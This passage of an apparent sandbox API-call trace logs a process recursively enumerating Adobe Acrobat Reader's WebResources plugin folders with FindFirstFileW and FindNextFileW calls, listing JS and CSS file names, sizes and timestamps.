ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5d6b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="convertpdf-tool-view.js", cAlternateFileName="CONVER~1.JS")) returned 1 [0248.110] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2b968, dwReserved0=0x0, dwReserved1=0x0, cFileName="exportpdf-selector.js", cAlternateFileName="EXPORT~1.JS")) returned 1 [0248.110] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff77e79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff77e79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x62167, dwReserved0=0x0, dwReserved1=0x0, cFileName="exportpdf-tool-view.js", cAlternateFileName="EXPORT~2.JS")) returned 1 [0248.111] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefedf550, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefedf550, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefedf550, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp", cAlternateFileName="")) returned 1 [0248.111] GetProcessHeap () returned 0xc10000 [0248.111] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0248.111] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefedf550, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefedf550, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff77e79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0248.114] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefedf550, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefedf550, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff77e79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.114] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff0576b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff0576b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff77e79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2bc58, dwReserved0=0x0, dwReserved1=0x0, cFileName="convertpdf-rna-selector.js", cAlternateFileName="CONVER~1.JS")) returned 1 [0248.114] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff77e79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff77e79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff77e79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5e19f, dwReserved0=0x0, dwReserved1=0x0, cFileName="convertpdf-rna-tool-view.js", cAlternateFileName="CONVER~2.JS")) returned 1 [0248.114] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff0576b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff0576b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff0576b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2bca0, dwReserved0=0x0, dwReserved1=0x0, cFileName="exportpdf-rna-selector.js", cAlternateFileName="EXPORT~2.JS")) returned 1 [0248.114] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefedf550, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefedf550, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff0576b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x602eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="exportpdf-rna-tool-view.js", cAlternateFileName="EXPORT~1.JS")) returned 1 [0248.114] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefedf550, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefedf550, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff0576b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x602eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="exportpdf-rna-tool-view.js", cAlternateFileName="EXPORT~1.JS")) returned 0 [0248.115] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0248.116] GetProcessHeap () returned 0xc10000 [0248.116] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0248.116] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="selection-action-plugins", cAlternateFileName="SELECT~1")) returned 1 [0248.116] GetProcessHeap () returned 0xc10000 [0248.116] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0248.116] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0248.118] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.118] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cpdf", cAlternateFileName="")) returned 1 [0248.118] GetProcessHeap () returned 0xc10000 [0248.118] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39a28c0 [0248.119] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\cpdf\\*", lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0248.119] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.119] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xb4f, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0248.120] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x994, dwReserved0=0x0, dwReserved1=0x0, cFileName="selector.js", cAlternateFileName="")) returned 1 [0248.120] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x994, dwReserved0=0x0, dwReserved1=0x0, cFileName="selector.js", cAlternateFileName="")) returned 0 [0248.120] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0248.120] GetProcessHeap () returned 0xc10000 [0248.120] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39a28c0 | out: hHeap=0xc10000) returned 1 [0248.120] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="epdf", cAlternateFileName="")) returned 1 [0248.121] GetProcessHeap () returned 0xc10000 [0248.121] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39a28c0 [0248.121] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\epdf\\*", lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0248.121] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.121] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xc85, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0248.121] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x995, dwReserved0=0x0, dwReserved1=0x0, cFileName="selector.js", cAlternateFileName="")) returned 1 [0248.122] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x995, dwReserved0=0x0, dwReserved1=0x0, cFileName="selector.js", cAlternateFileName="")) returned 0 [0248.122] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0248.122] GetProcessHeap () returned 0xc10000 [0248.122] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39a28c0 | out: hHeap=0xc10000) returned 1 [0248.122] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="epdf", cAlternateFileName="")) returned 0 [0248.122] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0248.122] GetProcessHeap () returned 0xc10000 [0248.122] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0248.122] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="selection-action-plugins", cAlternateFileName="SELECT~1")) returned 0 [0248.122] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0248.123] GetProcessHeap () returned 0xc10000 [0248.123] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0248.124] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugins", cAlternateFileName="")) returned 0 [0248.124] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0248.124] GetProcessHeap () returned 0xc10000 [0248.124] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0248.125] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0248.125] FindClose (in: hFindFile=0x33e4ea8 | out: hFindFile=0x33e4ea8) returned 1 [0248.125] GetProcessHeap () returned 0xc10000 [0248.125] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0248.126] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="combinepdf", cAlternateFileName="COMBIN~1")) returned 1 [0248.126] GetProcessHeap () returned 0xc10000 [0248.126] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0248.126] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\*", lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0248.128] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.129] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0248.129] GetProcessHeap () returned 0xc10000 [0248.129] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39a28c0 [0248.129] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\css\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0248.357] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.357] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="main-selector.css", cAlternateFileName="MAIN-S~1.CSS")) returned 1 [0248.357] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.css", cAlternateFileName="")) returned 1 [0248.357] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.css", cAlternateFileName="")) returned 0 [0248.357] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0248.358] GetProcessHeap () returned 0xc10000 [0248.358] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39a28c0 | out: hHeap=0xc10000) returned 1 [0248.358] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0248.358] GetProcessHeap () returned 0xc10000 [0248.358] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39a28c0 [0248.358] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files 